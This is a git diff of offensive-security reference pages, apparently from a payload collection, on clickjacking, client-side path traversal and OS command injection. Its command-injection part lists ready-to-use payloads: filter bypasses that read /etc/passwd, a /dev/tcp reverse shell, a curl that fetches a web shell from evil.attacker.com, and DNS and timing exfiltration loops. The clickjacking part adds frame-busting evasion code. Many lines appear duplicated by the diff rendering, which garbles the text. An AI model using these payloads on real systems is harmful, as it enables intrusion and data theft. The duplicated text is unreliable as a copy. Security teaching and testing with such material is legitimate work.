Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent. Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
```apache ```apache
Header always append X-Frame-Options SAMEORIGIN Header always append X-Frame-Options SAMEORIGIN
``` ```
### Content Security Policy (CSP) ### Content Security Policy (CSP)
Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
Define a strong CSP policy to prevent unauthorized framing and loading of external resources. Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
Example in HTML meta tag: Example in HTML meta tag:
```html ```html
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';"> <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
``` ```
### Disabling JavaScript ### Disabling JavaScript
* Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. * Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
* There are three deactivation techniques that can be used with frames: * There are three deactivation techniques that can be used with frames:
* Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame. * Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
```html
<iframe src="http://target site" security="restricted"></iframe> ```html
``` <iframe src="http://target site" security="restricted"></iframe>
* Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari. ```
```html
<iframe src="http://target site" sandbox></iframe> * Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
```
```html
<iframe src="http://target site" sandbox></iframe>
```
## OnBeforeUnload Event ## OnBeforeUnload Event
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating targets frame busting attempt.
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
* The attacker can use this attack by registering an unload event on the top page using the following example code: * The attacker can use this attack by registering an unload event on the top page using the following example code:
```html
<h1>www.fictitious.site</h1> ```html
<script> <h1>www.fictitious.site</h1>
window.onbeforeunload = function() <script>
{ window.onbeforeunload = function()
return " Do you want to leave fictitious.site?"; {
} return " Do you want to leave fictitious.site?";
</script> }
<iframe src="http://target site"> </script>
``` <iframe src="http://target site">
```
* The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header. * The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
<br>_204 page:_ 204 page:
```php ```php
<?php <?php
header("HTTP/1.1 204 No Content"); header("HTTP/1.1 204 No Content");
?> ?>
``` ```
_Attacker's Page_
Attacker's Page:
```js ```js
<script> <script>
var prevent_bust = 0; var prevent_bust = 0;
@@ -176,46 +201,56 @@ _Attacker's Page_
## XSS Filter ## XSS Filter
### IE8 XSS filter ### IE8 XSS filter
This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a requests parameters.
```html This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
<script>
if ( top != self ) ```html
{ <script>
top.location=self.location; if ( top != self )
} {
</script> top.location=self.location;
``` }
Attacker View: </script>
```html ```
<iframe src=”http://target site/?param=<script>if”>
``` Attacker View:
```html
<iframe src=”http://target site/?param=<script>if”>
```
### Chrome 4.0 XSSAuditor filter ### Chrome 4.0 XSSAuditor filter
It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact. It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
Attacker View:
```html Attacker View:
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
``` ```html
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
```
## Challenge ## Challenge
Inspect the following code: Inspect the following code:
```html ```html
<div style="position: absolute; opacity: 0;"> <div style="position: absolute; opacity: 0;">
<iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe> <iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>
</div> </div>
<button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button> <button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>
``` ```
Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website. Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
## Labs
## Practice Environments
* [OWASP WebGoat](https://owasp.org/www-project-webgoat/) * [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
* [Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking) * [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
## References ## References
* [Clickjacker.io - Saurabh Banawar](https://clickjacker.io)
* [Web-Security Clickjacking - PortSwigger](https://portswigger.net/web-security/clickjacking) * [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://web.archive.org/web/20200510214313/https://clickjacker.io/)
* [Synopsys Clickjacking](https://www.synopsys.com/glossary/what-is-clickjacking.html#B) * [Clickjacking - Gustav Rydstedt - April 28, 2020](https://web.archive.org/web/20200428022051/https://owasp.org/www-community/attacks/Clickjacking)
* [OWASP - Gustav Rydstedt](https://owasp.org/www-community/attacks/Clickjacking) * [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://web.archive.org/web/20240917212838/https://www.synopsys.com/glossary/what-is-clickjacking.html)
* [SecTheory](http://www.sectheory.com/clickjacking.htm) * [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://web.archive.org/web/20260215062230/https://portswigger.net/web-security/clickjacking)

View File

@@ -0,0 +1,72 @@
# Client Side Path Traversal
> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [CSPT to XSS](#cspt-to-xss)
* [CSPT to CSRF](#cspt-to-xss)
* [Labs](#labs)
* [References](#references)
## Tools
* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
## Methodology
### CSPT to XSS
![cspt-query-param](https://matanber.com/images/blog/cspt-query-param.png)
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
**Example**:
* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
* Then fetch the content of `https://example.com/newitems/<newsitemid>`
* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
### CSPT to CSRF
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
| | CSRF | CSPT2CSRF |
| ------------------------------------------- | ----------------- | ------------------ |
| POST CSRF ? | :white_check_mark: | :white_check_mark: |
| Can control the body ? | :white_check_mark: | :x: |
| Can work with anti-CSRF token ? | :x: | :white_check_mark: |
| Can work with Samesite=Lax ? | :x: | :white_check_mark: |
| GET / PATCH / PUT / DELETE CSRF ? | :x: | :white_check_mark: |
| 1-click CSRF ? | :x: | :white_check_mark: |
| Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
Real-World Scenarios:
* 1-click CSPT2CSRF in Rocket.Chat
* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
* [CVE-2023-5123 : CSPT2CSRF in Grafanas JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
## Labs
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
## References
* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://web.archive.org/web/20260222183040/https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://web.archive.org/web/20240702212818/https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://web.archive.org/web/20250521192653/https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://web.archive.org/web/20240703155707/https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
* [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://web.archive.org/web/20260212042947/https://portswigger.net/blog/on-site-request-forgery)
* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://web.archive.org/web/20240512110749/https://matanber.com/blog/cspt-levels)
* [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://web.archive.org/web/20241004042613/https://vitorfalcao.com/posts/automating-cspt-discovery/)
* [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://web.archive.org/web/20241203171704/https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
* [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://web.archive.org/web/20250109093347/https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

View File

@@ -5,50 +5,51 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploits](#exploits) * [Methodology](#methodology)
* [Basic commands](#basic-commands) * [Basic Commands](#basic-commands)
* [Chaining commands](#chaining-commands) * [Chaining Commands](#chaining-commands)
* [Argument injection](#argument-injection) * [Argument Injection](#argument-injection)
* [Inside a command](#inside-a-command) * [Inside A Command](#inside-a-command)
* [Filter Bypasses](#filter-bypasses) * [Filter Bypasses](#filter-bypasses)
* [Bypass without space](#bypass-without-space) * [Bypass Without Space](#bypass-without-space)
* [Bypass with a line return](#bypass-with-a-line-return) * [Bypass With A Line Return](#bypass-with-a-line-return)
* [Bypass with backslash newline](#bypass-with-backslash-newline) * [Bypass With Backslash Newline](#bypass-with-backslash-newline)
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding) * [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)
* [Bypass blacklisted words](#bypass-blacklisted-words) * [Bypass With Brace Expansion](#bypass-with-brace-expansion)
* [Bypass with single quote](#bypass-with-single-quote) * [Bypass Characters Filter](#bypass-characters-filter)
* [Bypass with double quote](#bypass-with-double-quote) * [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)
* [Bypass with backticks](#bypass-with-backticks) * [Bypass With Single Quote](#bypass-with-single-quote)
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash) * [Bypass With Double Quote](#bypass-with-double-quote)
* [Bypass with $@](#bypass-with-) * [Bypass With Backticks](#bypass-with-backticks)
* [Bypass with $()](#bypass-with--1) * [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)
* [Bypass with variable expansion](#bypass-with-variable-expansion) * [Bypass With $@](#bypass-with-)
* [Bypass with wildcards](#bypass-with-wildcards) * [Bypass With $()](#bypass-with--1)
* [Bypass With Variable Expansion](#bypass-with-variable-expansion)
* [Bypass With Wildcards](#bypass-with-wildcards)
* [Bypass With Random Case](#bypass-with-random-case)
* [Data Exfiltration](#data-exfiltration) * [Data Exfiltration](#data-exfiltration)
* [Time based data exfiltration](#time-based-data-exfiltration) * [Time Based Data Exfiltration](#time-based-data-exfiltration)
* [DNS based data exfiltration](#dns-based-data-exfiltration) * [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
* [Polyglot Command Injection](#polyglot-command-injection) * [Polyglot Command Injection](#polyglot-command-injection)
* [Tricks](#tricks) * [Tricks](#tricks)
* [Backgrounding long running commands](#backgrounding-long-running-commands) * [Backgrounding Long Running Commands](#backgrounding-long-running-commands)
* [Remove arguments after the injection](#remove-arguments-after-the-injection) * [Remove Arguments After The Injection](#remove-arguments-after-the-injection)
* [Labs](#labs) * [Labs](#labs)
* [Challenge](#challenge) * [Challenge](#challenge)
* [References](#references) * [References](#references)
## Tools ## Tools
* [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool * [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
* [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library * [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library
## Methodology
## Exploits
Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system. Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise. The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
**Example of Command Injection with PHP**: **Example of Command Injection with PHP**:
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain: Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
```php ```php
@@ -64,8 +65,7 @@ If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual comman
This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information. This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.
### Basic Commands
### Basic commands
Execute the command and voila :p Execute the command and voila :p
@@ -78,11 +78,9 @@ sys:x:3:3:sys:/dev:/bin/sh
... ...
``` ```
### Chaining Commands
### Chaining commands In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
* `;` (Semicolon): Allows you to execute multiple commands sequentially. * `;` (Semicolon): Allows you to execute multiple commands sequentially.
* `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status). * `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
@@ -98,74 +96,105 @@ command1 & command2 # Execute command1 in the background
command1 | command2 # Pipe the output of command1 into command2 command1 | command2 # Pipe the output of command1 into command2
``` ```
### Argument Injection ### Argument Injection
Gain a command execution when you can only append arguments to an existing command. Gain a command execution when you can only append arguments to an existing command.
Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution. Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
* Chrome * Chrome
```ps1 ```ps1
chrome '--gpu-launcher="id>/tmp/foo"' chrome '--gpu-launcher="id>/tmp/foo"'
``` ```
* SSH * SSH
```ps1 ```ps1
ssh '-oProxyCommand="touch /tmp/foo"' foo@foo ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
``` ```
* psql * psql
```ps1 ```ps1
psql -o'|id>/tmp/foo' psql -o'|id>/tmp/foo'
``` ```
Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.
### Inside a command In the following example, the payload ` --use-askpass=calc ` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)
```php
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));
```
Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
* curl
```ps1
# -o, --output <file> Write to file instead of stdout
curl http://evil.attacker.com/ -o webshell.php
```
### Inside A Command
* Command injection using backticks.
* Command injection using backticks.
```bash ```bash
original_cmd_by_server `cat /etc/passwd` original_cmd_by_server `cat /etc/passwd`
``` ```
* Command injection using substitution * Command injection using substitution
```bash ```bash
original_cmd_by_server $(cat /etc/passwd) original_cmd_by_server $(cat /etc/passwd)
``` ```
## Filter Bypasses ## Filter Bypasses
### Bypass without space ### Bypass Without Space
* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a seperator in commands like `ls`, `wget`; use `${IFS}` instead.
```powershell ```powershell
cat${IFS}/etc/passwd cat${IFS}/etc/passwd
ls${IFS}-la ls${IFS}-la
``` ```
* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments. * In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
```powershell ```powershell
{cat,/etc/passwd} {cat,/etc/passwd}
``` ```
* Input redirection. The < character tells the shell to read the contents of the file specified.
* Input redirection. The < character tells the shell to read the contents of the file specified.
```powershell ```powershell
cat</etc/passwd cat</etc/passwd
sh</dev/tcp/127.0.0.1/4242 sh</dev/tcp/127.0.0.1/4242
``` ```
* ANSI-C Quoting
* ANSI-C Quoting
```powershell ```powershell
X=$'uname\x20-a'&&$X X=$'uname\x20-a'&&$X
``` ```
* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`. * The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
```powershell ```powershell
;ls%09-al%09/home ;ls%09-al%09/home
``` ```
* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables. * In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
```powershell ```powershell
ping%CommonProgramFiles:~10,-18%127.0.0.1 ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.0.1 ping%PROGRAMFILES:~10,-5%127.0.0.1
``` ```
### Bypass With A Line Return
### Bypass with a line return
Commands can also be run in sequence with newlines Commands can also be run in sequence with newlines
@@ -174,22 +203,63 @@ original_cmd_by_server
ls ls
``` ```
### Bypass With Backslash Newline
### Bypass with backslash newline
* Commands can be broken into parts by using backslash followed by a newline * Commands can be broken into parts by using backslash followed by a newline
```powershell ```powershell
$ cat /et\ $ cat /et\
c/pa\ c/pa\
sswd sswd
``` ```
* URL encoded form would look like this: * URL encoded form would look like this:
```powershell ```powershell
cat%20/et%5C%0Ac/pa%5C%0Asswd cat%20/et%5C%0Ac/pa%5C%0Asswd
``` ```
### Bypass With Tilde Expansion
### Bypass characters filter via hex encoding ```powershell
echo ~+
echo ~-
```
### Bypass With Brace Expansion
```powershell
{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}
```
### Bypass Characters Filter
Commands execution without backslash and slash - linux bash
```powershell
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```
### Bypass Characters Filter Via Hex Encoding
```powershell ```powershell
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
@@ -217,59 +287,36 @@ swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
``` ```
### Bypass With Single Quote
### Bypass characters filter
Commands execution without backslash and slash - linux bash
```powershell
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```
### Bypass Blacklisted words
#### Bypass with single quote
```powershell ```powershell
w'h'o'am'i w'h'o'am'i
wh''oami wh''oami
'w'hoami
``` ```
#### Bypass with double quote ### Bypass With Double Quote
```powershell ```powershell
w"h"o"am"i w"h"o"am"i
wh""oami wh""oami
"wh"oami
``` ```
#### Bypass with backticks ### Bypass With Backticks
```powershell ```powershell
wh``oami wh``oami
``` ```
#### Bypass with backslash and slash ### Bypass With Backslash and Slash
```powershell ```powershell
w\ho\am\i w\ho\am\i
/\b\i\n/////s\h /\b\i\n/////s\h
``` ```
#### Bypass with $@ ### Bypass With $@
`$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell. `$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell.
@@ -278,8 +325,7 @@ who$@ami
echo whoami|$0 echo whoami|$0
``` ```
### Bypass With $()
#### Bypass with $()
```powershell ```powershell
who$()ami who$()ami
@@ -287,7 +333,7 @@ who$(echo am)i
who`echo am`i who`echo am`i
``` ```
#### Bypass with variable expansion ### Bypass With Variable Expansion
```powershell ```powershell
/???/??t /???/p??s?? /???/??t /???/p??s??
@@ -297,57 +343,68 @@ cat ${test//hhh\/hm/}
cat ${test//hh??hm/} cat ${test//hh??hm/}
``` ```
#### Bypass with wildcards ### Bypass With Wildcards
```powershell ```powershell
powershell C:\*\*2\n??e*d.*? # notepad powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
``` ```
### Bypass With Random Case
Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, `DIR`, `dir`, or `DiR` will all execute the same `dir` command.
```powershell
wHoAmi
```
## Data Exfiltration ## Data Exfiltration
### Time based data exfiltration ### Time Based Data Exfiltration
Extracting data : char by char Extracting data char by char and detect the correct value based on the delay.
```powershell * Correct value: wait 5 seconds
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi ```powershell
real 0m0.002s swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
user 0m0.000s real 0m5.007s
sys 0m0.000s user 0m0.000s
``` sys 0m0.000s
```
### DNS based data exfiltration * Incorrect value: no delay
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca ```powershell
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
```powershell ### Dns Based Data Exfiltration
1. Go to http://dnsbin.zhack.ca/
Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)
1. Go to [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
2. Execute a simple 'ls' 2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```powershell ```powershell
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
Online tools to check for DNS based data exfiltration: Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca * [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
- pingb.in * [app.interactsh.com](https://app.interactsh.com)
* [portswigger.net](https://portswigger.net/burp/documentation/collaborator)
## Polyglot Command Injection ## Polyglot Command Injection
A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments. A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
* Example 1: * Example 1:
```powershell ```powershell
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@@ -356,7 +413,9 @@ A polyglot is a piece of code that is valid and executable in multiple programmi
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
``` ```
* Example 2:
* Example 2:
```powershell ```powershell
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@@ -366,10 +425,9 @@ A polyglot is a piece of code that is valid and executable in multiple programmi
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/' echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
``` ```
## Tricks ## Tricks
### Backgrounding long running commands ### Backgrounding Long Running Commands
In some instances, you might have a long running command that gets killed by the process injecting it timing out. In some instances, you might have a long running command that gets killed by the process injecting it timing out.
Using `nohup`, you can keep the process running after the parent process exits. Using `nohup`, you can keep the process running after the parent process exits.
